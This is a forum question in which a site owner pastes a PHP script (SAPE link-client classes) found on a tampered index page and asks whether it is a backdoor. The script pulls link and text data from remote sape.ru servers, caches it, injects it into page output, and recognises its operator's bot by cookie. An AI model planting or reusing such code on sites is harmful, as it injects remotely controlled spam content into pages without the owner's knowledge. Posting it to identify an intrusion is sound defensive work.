Hacker Backdoor script?
<p>I found this script attached to a modified index page. This looks like some kind of backdoor. and who is this SAPE ?</p>

<pre><code>&lt;?php

class SAPE_base {

    var $_version = '1.0.8';

    var $_verbose = false;

    var $_charset = '';

    var $_sape_charset = '';

    var $_server_list = array('dispenser-01.sape.ru', 'dispenser-02.sape.ru');

    var $_cache_lifetime = 3600;

    var $_cache_reloadtime = 600;

    var $_error = '';

    var $_host = '';

    var $_request_uri = '';

    var $_multi_site = false;

    var $_fetch_remote_type = '';

    var $_socket_timeout = 6;

    var $_force_show_code = false;

    var $_is_our_bot = false;

    var $_debug = false;

    var $_ignore_case = false;

    var $_db_file = '';

    var $_use_server_array = false;

    var $_force_update_db = false;

    function SAPE_base($options = null) {

        $host = '';

        if (is_array($options)) {
            if (isset($options['host'])) {
                $host = $options['host'];
            }
        }
        elseif (strlen($options)) {
            $host    = $options;
            $options = array();
        }
        else {
            $options = array();
        }

        if (isset($options['use_server_array']) &amp;&amp; $options['use_server_array'] == true) {
            $this-&gt;_use_server_array = true;
        }

        if (strlen($host)) {
            $this-&gt;_host = $host;
        }
        else {
            $this-&gt;_host = $_SERVER['HTTP_HOST'];
        }

        $this-&gt;_host = preg_replace('/^http:\/\//', '', $this-&gt;_host);
        $this-&gt;_host = preg_replace('/^www\./', '', $this-&gt;_host);

        if (isset($options['request_uri']) &amp;&amp; strlen($options['request_uri'])) {
            $this-&gt;_request_uri = $options['request_uri'];
        }
        elseif ($this-&gt;_use_server_array === false) {
            $this-&gt;_request_uri = getenv('REQUEST_URI');
        }

        if (strlen($this-&gt;_request_uri) == 0) {
            $this-&gt;_request_uri = $_SERVER['REQUEST_URI'];
        }

        if (isset($options['multi_site']) &amp;&amp; $options['multi_site'] == true) {
            $this-&gt;_multi_site = true;
        }

        if (isset($options['debug']) &amp;&amp; $options['debug'] == true) {
            $this-&gt;_debug = true;
        }

        if (isset($_COOKIE['sape_cookie']) &amp;&amp; ($_COOKIE['sape_cookie'] == _SAPE_USER)) {
            $this-&gt;_is_our_bot = true;
            if (isset($_COOKIE['sape_debug']) &amp;&amp; ($_COOKIE['sape_debug'] == 1)) {
                $this-&gt;_debug              = true;
                $this-&gt;_options            = $options;
                $this-&gt;_server_request_uri = $this-&gt;_request_uri = $_SERVER['REQUEST_URI'];
                $this-&gt;_getenv_request_uri = getenv('REQUEST_URI');
                $this-&gt;_SAPE_USER          = _SAPE_USER;
            }
            if (isset($_COOKIE['sape_updatedb']) &amp;&amp; ($_COOKIE['sape_updatedb'] == 1)) {
                $this-&gt;_force_update_db = true;
            }
        }
        else {
            $this-&gt;_is_our_bot = false;
        }

        if (isset($options['verbose']) &amp;&amp; $options['verbose'] == true || $this-&gt;_debug) {
            $this-&gt;_verbose = true;
        }

        if (isset($options['charset']) &amp;&amp; strlen($options['charset'])) {
            $this-&gt;_charset = $options['charset'];
        }
        else {
            $this-&gt;_charset = 'windows-1251';
        }

        if (isset($options['fetch_remote_type']) &amp;&amp; strlen($options['fetch_remote_type'])) {
            $this-&gt;_fetch_remote_type = $options['fetch_remote_type'];
        }

        if (isset($options['socket_timeout']) &amp;&amp; is_numeric($options['socket_timeout']) &amp;&amp; $options['socket_timeout'] &gt; 0) {
            $this-&gt;_socket_timeout = $options['socket_timeout'];
        }

        if (isset($options['force_show_code']) &amp;&amp; $options['force_show_code'] == true) {
            $this-&gt;_force_show_code = true;
        }

        if (!defined('_SAPE_USER')) {
            return $this-&gt;raise_error('Не задана константа _SAPE_USER');
        }

        if (isset($options['ignore_case']) &amp;&amp; $options['ignore_case'] == true) {
            $this-&gt;_ignore_case = true;
            $this-&gt;_request_uri = strtolower($this-&gt;_request_uri);
        }
    }

    function fetch_remote_file($host, $path) {

        $user_agent = $this-&gt;_user_agent . ' ' . $this-&gt;_version;

        @ini_set('allow_url_fopen', 1);
        @ini_set('default_socket_timeout', $this-&gt;_socket_timeout);
        @ini_set('user_agent', $user_agent);
        if (
            $this-&gt;_fetch_remote_type == 'file_get_contents'
            ||
            (
                $this-&gt;_fetch_remote_type == ''
                &amp;&amp;
                function_exists('file_get_contents')
                &amp;&amp;
                ini_get('allow_url_fopen') == 1
            )
        ) {
            $this-&gt;_fetch_remote_type = 'file_get_contents';
            if ($data = @file_get_contents('http://' . $host . $path)) {
                return $data;
            }

        }
        elseif (
            $this-&gt;_fetch_remote_type == 'curl'
            ||
            (
                $this-&gt;_fetch_remote_type == ''
                &amp;&amp;
                function_exists('curl_init')
            )
        ) {
            $this-&gt;_fetch_remote_type = 'curl';
            if ($ch = @curl_init()) {

                @curl_setopt($ch, CURLOPT_URL, 'http://' . $host . $path);
                @curl_setopt($ch, CURLOPT_HEADER, false);
                @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this-&gt;_socket_timeout);
                @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);

                if ($data = @curl_exec($ch)) {
                    return $data;
                }

                @curl_close($ch);
            }

        }
        else {
            $this-&gt;_fetch_remote_type = 'socket';
            $buff                     = '';
            $fp                       = @fsockopen($host, 80, $errno, $errstr, $this-&gt;_socket_timeout);
            if ($fp) {
                @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
                @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
                while (!@feof($fp)) {
                    $buff .= @fgets($fp, 128);
                }
                @fclose($fp);

                $page = explode("\r\n\r\n", $buff);

                return $page[1];
            }

        }

        return $this-&gt;raise_error('Не могу подключиться к серверу: ' . $host . $path . ', type: ' . $this-&gt;_fetch_remote_type);
    }

    function _read($filename) {

        $fp = @fopen($filename, 'rb');
        @flock($fp, LOCK_SH);
        if ($fp) {
            clearstatcache();
            $length = @filesize($filename);
            $mqr    = @get_magic_quotes_runtime();
            @set_magic_quotes_runtime(0);
            if ($length) {
                $data = @fread($fp, $length);
            }
            else {
                $data = '';
            }
            @set_magic_quotes_runtime($mqr);
            @flock($fp, LOCK_UN);
            @fclose($fp);

            return $data;
        }

        return $this-&gt;raise_error('Не могу считать данные из файла: ' . $filename);
    }

    function _write($filename, $data) {

        $fp = @fopen($filename, 'ab');
        if ($fp) {
            if (flock($fp, LOCK_EX | LOCK_NB)) {
                $length = strlen($data);
                ftruncate($fp, 0);
                @fwrite($fp, $data, $length);
                @flock($fp, LOCK_UN);
                @fclose($fp);

                if (md5($this-&gt;_read($filename)) != md5($data)) {
                    @unlink($filename);
                    return $this-&gt;raise_error('Нарушена целостность данных при записи в файл: ' . $filename);
                }
            }
            else {
                return false;
            }

            return true;
        }

        return $this-&gt;raise_error('Не могу записать данные в файл: ' . $filename);
    }

    function raise_error($e) {

        $this-&gt;_error = '&lt;p style="color: red; font-weight: bold;"&gt;SAPE ERROR: ' . $e . '&lt;/p&gt;';

        if ($this-&gt;_verbose == true) {
            print $this-&gt;_error;
        }

        return false;
    }

    function load_data() {
        $this-&gt;_db_file = $this-&gt;_get_db_file();

        if (!is_file($this-&gt;_db_file)) {
            if (@touch($this-&gt;_db_file)) {
                @chmod($this-&gt;_db_file, 0666);
            }
            else {
                return $this-&gt;raise_error('Нет файла ' . $this-&gt;_db_file . '. Создать не удалось. Выставите права 777 на папку.');
            }
        }

        if (!is_writable($this-&gt;_db_file)) {
            return $this-&gt;raise_error('Нет доступа на запись к файлу: ' . $this-&gt;_db_file . '! Выставите права 777 на папку.');
        }

        @clearstatcache();

        $data = $this-&gt;_read($this-&gt;_db_file);
        if (
            $this-&gt;_force_update_db
            || (
                !$this-&gt;_is_our_bot
                &amp;&amp;
                (
                    filemtime($this-&gt;_db_file) &lt; (time() - $this-&gt;_cache_lifetime)
                    ||
                    filesize($this-&gt;_db_file) == 0
                    ||
                    @unserialize($data) == false
                )
            )
        ) {
            @touch($this-&gt;_db_file, (time() - $this-&gt;_cache_lifetime + $this-&gt;_cache_reloadtime));

            $path = $this-&gt;_get_dispenser_path();
            if (strlen($this-&gt;_charset)) {
                $path .= '&amp;charset=' . $this-&gt;_charset;
            }

            foreach ($this-&gt;_server_list as $i =&gt; $server) {
                if ($data = $this-&gt;fetch_remote_file($server, $path)) {
                    if (substr($data, 0, 12) == 'FATAL ERROR:') {
                        $this-&gt;raise_error($data);
                    }
                    else {

                        $hash = @unserialize($data);
                        if ($hash != false) {

                            $hash['__sape_charset__']      = $this-&gt;_charset;
                            $hash['__last_update__']       = time();
                            $hash['__multi_site__']        = $this-&gt;_multi_site;
                            $hash['__fetch_remote_type__'] = $this-&gt;_fetch_remote_type;
                            $hash['__ignore_case__']       = $this-&gt;_ignore_case;
                            $hash['__php_version__']       = phpversion();
                            $hash['__server_software__']   = $_SERVER['SERVER_SOFTWARE'];

                            $data_new = @serialize($hash);
                            if ($data_new) {
                                $data = $data_new;
                            }

                            $this-&gt;_write($this-&gt;_db_file, $data);
                            break;
                        }
                    }
                }
            }
        }

        if (strlen(session_id())) {
            $session            = session_name() . '=' . session_id();
            $this-&gt;_request_uri = str_replace(array('?' . $session, '&amp;' . $session), '', $this-&gt;_request_uri);
        }

        $this-&gt;set_data(@unserialize($data));
    }
}

class SAPE_client extends SAPE_base {

    var $_links_delimiter = '';
    var $_links = array();
    var $_links_page = array();
    var $_user_agent = 'SAPE_Client PHP';

    function SAPE_client($options = null) {
        parent::SAPE_base($options);
        $this-&gt;load_data();
    }

    function return_links($n = null, $offset = 0) {

        if (is_array($this-&gt;_links_page)) {

            $total_page_links = count($this-&gt;_links_page);

            if (!is_numeric($n) || $n &gt; $total_page_links) {
                $n = $total_page_links;
            }

            $links = array();

            for ($i = 1; $i &lt;= $n; $i++) {
                if ($offset &gt; 0 &amp;&amp; $i &lt;= $offset) {
                    array_shift($this-&gt;_links_page);
                }
                else {
                    $links[] = array_shift($this-&gt;_links_page);
                }
            }

            $html = join($this-&gt;_links_delimiter, $links);

            if (
                strlen($this-&gt;_charset) &gt; 0
                &amp;&amp;
                strlen($this-&gt;_sape_charset) &gt; 0
                &amp;&amp;
                $this-&gt;_sape_charset != $this-&gt;_charset
                &amp;&amp;
                function_exists('iconv')
            ) {
                $new_html = @iconv($this-&gt;_sape_charset, $this-&gt;_charset, $html);
                if ($new_html) {
                    $html = $new_html;
                }
            }

            if ($this-&gt;_is_our_bot) {
                $html = '&lt;sape_noindex&gt;' . $html . '&lt;/sape_noindex&gt;';
            }
        }
        else {
            $html = $this-&gt;_links_page;
        }

        if ($this-&gt;_debug) {
            $html .= print_r($this, true);
        }

        return $html;
    }

    function _get_db_file() {
        if ($this-&gt;_multi_site) {
            return dirname(__FILE__) . '/' . $this-&gt;_host . '.links.db';
        }
        else {
            return dirname(__FILE__) . '/links.db';
        }
    }

    function _get_dispenser_path() {
        return '/code.php?user=' . _SAPE_USER . '&amp;host=' . $this-&gt;_host;
    }

    function set_data($data) {
        if ($this-&gt;_ignore_case) {
            $this-&gt;_links = array_change_key_case($data);
        }
        else {
            $this-&gt;_links = $data;
        }
        if (isset($this-&gt;_links['__sape_delimiter__'])) {
            $this-&gt;_links_delimiter = $this-&gt;_links['__sape_delimiter__'];
        }
        if (isset($this-&gt;_links['__sape_charset__'])) {
            $this-&gt;_sape_charset = $this-&gt;_links['__sape_charset__'];
        }
        else {
            $this-&gt;_sape_charset = '';
        }
        if (@array_key_exists($this-&gt;_request_uri, $this-&gt;_links) &amp;&amp; is_array($this-&gt;_links[$this-&gt;_request_uri])) {
            $this-&gt;_links_page = $this-&gt;_links[$this-&gt;_request_uri];
        }
        else {
            if (isset($this-&gt;_links['__sape_new_url__']) &amp;&amp; strlen($this-&gt;_links['__sape_new_url__'])) {
                if ($this-&gt;_is_our_bot || $this-&gt;_force_show_code) {
                    $this-&gt;_links_page = $this-&gt;_links['__sape_new_url__'];
                }
            }
        }
    }
}

class SAPE_context extends SAPE_base {

    var $_words = array();
    var $_words_page = array();
    var $_user_agent = 'SAPE_Context PHP';
    var $_filter_tags = array('a', 'textarea', 'select', 'script', 'style', 'label', 'noscript', 'noindex', 'button');

    function SAPE_context($options = null) {
        parent::SAPE_base($options);
        $this-&gt;load_data();
    }

    function replace_in_text_segment($text) {
        $debug = '';
        if ($this-&gt;_debug) {
            $debug .= "&lt;!-- argument for replace_in_text_segment: \r\n" . base64_encode($text) . "\r\n --&gt;";
        }
        if (count($this-&gt;_words_page) &gt; 0) {

            $source_sentence = array();
            if ($this-&gt;_debug) {
                $debug .= '&lt;!-- sentences for replace: ';
            }
            foreach ($this-&gt;_words_page as $n =&gt; $sentence) {
                //Заменяем все сущности на символы
                $special_chars = array(
                    '&amp;amp;'  =&gt; '&amp;',
                    '&amp;quot;' =&gt; '"',
                    '&amp;#039;' =&gt; '\'',
                    '&amp;lt;'   =&gt; '&lt;',
                    '&amp;gt;'   =&gt; '&gt;'
                );
                $sentence      = strip_tags($sentence);
                foreach ($special_chars as $from =&gt; $to) {
                    str_replace($from, $to, $sentence);
                }
                $sentence      = htmlspecialchars($sentence);
                $sentence      = preg_quote($sentence, '/');
                $replace_array = array();
                if (preg_match_all('/(&amp;[#a-zA-Z0-9]{2,6};)/isU', $sentence, $out)) {
                    for ($i = 0; $i &lt; count($out[1]); $i++) {
                        $unspec                 = $special_chars[$out[1][$i]];
                        $real                   = $out[1][$i];
                        $replace_array[$unspec] = $real;
                    }
                }
                foreach ($replace_array as $unspec =&gt; $real) {
                    $sentence = str_replace($real, '((' . $real . ')|(' . $unspec . '))', $sentence);
                }
                $source_sentences[$n] = str_replace(' ', '((\s)|(&amp;nbsp;))+', $sentence);

                if ($this-&gt;_debug) {
                    $debug .= $source_sentences[$n] . "\r\n\r\n";
                }
            }

            if ($this-&gt;_debug) {
                $debug .= '--&gt;';
            }

            $first_part = true;

            if (count($source_sentences) &gt; 0) {

                $content   = '';
                $open_tags = array();
                $close_tag = '';

                $part = strtok(' ' . $text, '&lt;');

                while ($part !== false) {

                    if (preg_match('/(?si)^(\/?[a-z0-9]+)/', $part, $matches)) {

                        $tag_name = strtolower($matches[1]);

                        if (substr($tag_name, 0, 1) == '/') {
                            $close_tag = substr($tag_name, 1);
                            if ($this-&gt;_debug) {
                                $debug .= '&lt;!-- close_tag: ' . $close_tag . ' --&gt;';
                            }
                        }
                        else {
                            $close_tag = '';
                            if ($this-&gt;_debug) {
                                $debug .= '&lt;!-- open_tag: ' . $tag_name . ' --&gt;';
                            }
                        }
                        $cnt_tags = count($open_tags);

                        if (($cnt_tags &gt; 0) &amp;&amp; ($open_tags[$cnt_tags - 1] == $close_tag)) {
                            array_pop($open_tags);
                            if ($this-&gt;_debug) {
                                $debug .= '&lt;!-- ' . $tag_name . ' - deleted from open_tags --&gt;';
                            }
                            if ($cnt_tags - 1 == 0) {
                                if ($this-&gt;_debug) {
                                    $debug .= '&lt;!-- start replacement --&gt;';
                                }
                            }
                        }

                        if (count($open_tags) == 0) {

                            if (!in_array($tag_name, $this-&gt;_filter_tags)) {
                                $split_parts = explode('&gt;', $part, 2);

                                if (count($split_parts) == 2) {

                                    foreach ($source_sentences as $n =&gt; $sentence) {
                                        if (preg_match('/' . $sentence . '/', $split_parts[1]) == 1) {
                                            $split_parts[1] = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this-&gt;_words_page[$n]), $split_parts[1], 1);
                                            if ($this-&gt;_debug) {
                                                $debug .= '&lt;!-- ' . $sentence . ' --- ' . $this-&gt;_words_page[$n] . ' replaced --&gt;';
                                            }

                                            unset($source_sentences[$n]);
                                            unset($this-&gt;_words_page[$n]);
                                        }
                                    }
                                    $part = $split_parts[0] . '&gt;' . $split_parts[1];
                                    unset($split_parts);
                                }
                            }
                            else {

                                $open_tags[] = $tag_name;
                                if ($this-&gt;_debug) {
                                    $debug .= '&lt;!-- ' . $tag_name . ' - added to open_tags, stop replacement --&gt;';
                                }
                            }
                        }
                    }
                    else {

                        foreach ($source_sentences as $n =&gt; $sentence) {
                            if (preg_match('/' . $sentence . '/', $part) == 1) {
                                $part = preg_replace('/' . $sentence . '/', str_replace('$', '\$', $this-&gt;_words_page[$n]), $part, 1);

                                if ($this-&gt;_debug) {
                                    $debug .= '&lt;!-- ' . $sentence . ' --- ' . $this-&gt;_words_page[$n] . ' replaced --&gt;';
                                }

                                unset($source_sentences[$n]);
                                unset($this-&gt;_words_page[$n]);
                            }
                        }
                    }

                    if ($this-&gt;_debug) {
                        $content .= $debug;
                        $debug = '';
                    }

                    if ($first_part) {
                        $content .= $part;
                        $first_part = false;
                    }
                    else {
                        $content .= $debug . '&lt;' . $part;
                    }

                    unset($part);
                    $part = strtok('&lt;');
                }
                $text = ltrim($content);
                unset($content);
            }
        }
        else {
            if ($this-&gt;_debug) {
                $debug .= '&lt;!-- No word`s for page --&gt;';
            }
        }

        if ($this-&gt;_debug) {
            $debug .= '&lt;!-- END: work of replace_in_text_segment() --&gt;';
        }

        if ($this-&gt;_is_our_bot || $this-&gt;_force_show_code || $this-&gt;_debug) {
            $text = '&lt;sape_index&gt;' . $text . '&lt;/sape_index&gt;';
            if (isset($this-&gt;_words['__sape_new_url__']) &amp;&amp; strlen($this-&gt;_words['__sape_new_url__'])) {
                $text .= $this-&gt;_words['__sape_new_url__'];
            }
        }

        if ($this-&gt;_debug) {
            if (count($this-&gt;_words_page) &gt; 0) {
                $text .= '&lt;!-- Not replaced: ' . "\r\n";
                foreach ($this-&gt;_words_page as $n =&gt; $value) {
                    $text .= $value . "\r\n\r\n";
                }
                $text .= '--&gt;';
            }

            $text .= $debug;
        }
        return $text;
    }

    function replace_in_page(&amp;$buffer) {

        if (count($this-&gt;_words_page) &gt; 0) {

            $split_content = preg_split('/(?smi)(&lt;\/?sape_index&gt;)/', $buffer, -1);
            $cnt_parts     = count($split_content);
            if ($cnt_parts &gt; 1) {
                //Если есть хоть одна пара sape_index, то начинаем работу
                if ($cnt_parts &gt;= 3) {
                    for ($i = 1; $i &lt; $cnt_parts; $i = $i + 2) {
                        $split_content[$i] = $this-&gt;replace_in_text_segment($split_content[$i]);
                    }
                }
                $buffer = implode('', $split_content);
                if ($this-&gt;_debug) {
                    $buffer .= '&lt;!-- Split by Sape_index cnt_parts=' . $cnt_parts . '--&gt;';
                }
            }
            else {

                $split_content = preg_split('/(?smi)(&lt;\/?body[^&gt;]*&gt;)/', $buffer, -1, PREG_SPLIT_DELIM_CAPTURE);

                if (count($split_content) == 5) {
                    $split_content[0] = $split_content[0] . $split_content[1];
                    $split_content[1] = $this-&gt;replace_in_text_segment($split_content[2]);
                    $split_content[2] = $split_content[3] . $split_content[4];
                    unset($split_content[3]);
                    unset($split_content[4]);
                    $buffer = $split_content[0] . $split_content[1] . $split_content[2];
                    if ($this-&gt;_debug) {
                        $buffer .= '&lt;!-- Split by BODY --&gt;';
                    }
                }
                else {

                    if ($this-&gt;_debug) {
                        $buffer .= '&lt;!-- Can`t split by BODY --&gt;';
                    }
                }
            }

        }
        else {
            if (!$this-&gt;_is_our_bot &amp;&amp; !$this-&gt;_force_show_code &amp;&amp; !$this-&gt;_debug) {
                $buffer = preg_replace('/(?smi)(&lt;\/?sape_index&gt;)/', '', $buffer);
            }
            else {
                if (isset($this-&gt;_words['__sape_new_url__']) &amp;&amp; strlen($this-&gt;_words['__sape_new_url__'])) {
                    $buffer .= $this-&gt;_words['__sape_new_url__'];
                }
            }
            if ($this-&gt;_debug) {
                $buffer .= '&lt;!-- No word`s for page --&gt;';
            }
        }
        return $buffer;
    }

    function _get_db_file() {
        if ($this-&gt;_multi_site) {
            return dirname(__FILE__) . '/' . $this-&gt;_host . '.words.db';
        }
        else {
            return dirname(__FILE__) . '/words.db';
        }
    }

    function _get_dispenser_path() {
        return '/code_context.php?user=' . _SAPE_USER . '&amp;host=' . $this-&gt;_host;
    }

    function set_data($data) {
        $this-&gt;_words = $data;
        if (@array_key_exists($this-&gt;_request_uri, $this-&gt;_words) &amp;&amp; is_array($this-&gt;_words[$this-&gt;_request_uri])) {
            $this-&gt;_words_page = $this-&gt;_words[$this-&gt;_request_uri];
        }
    }
}

?&gt;
</code></pre>
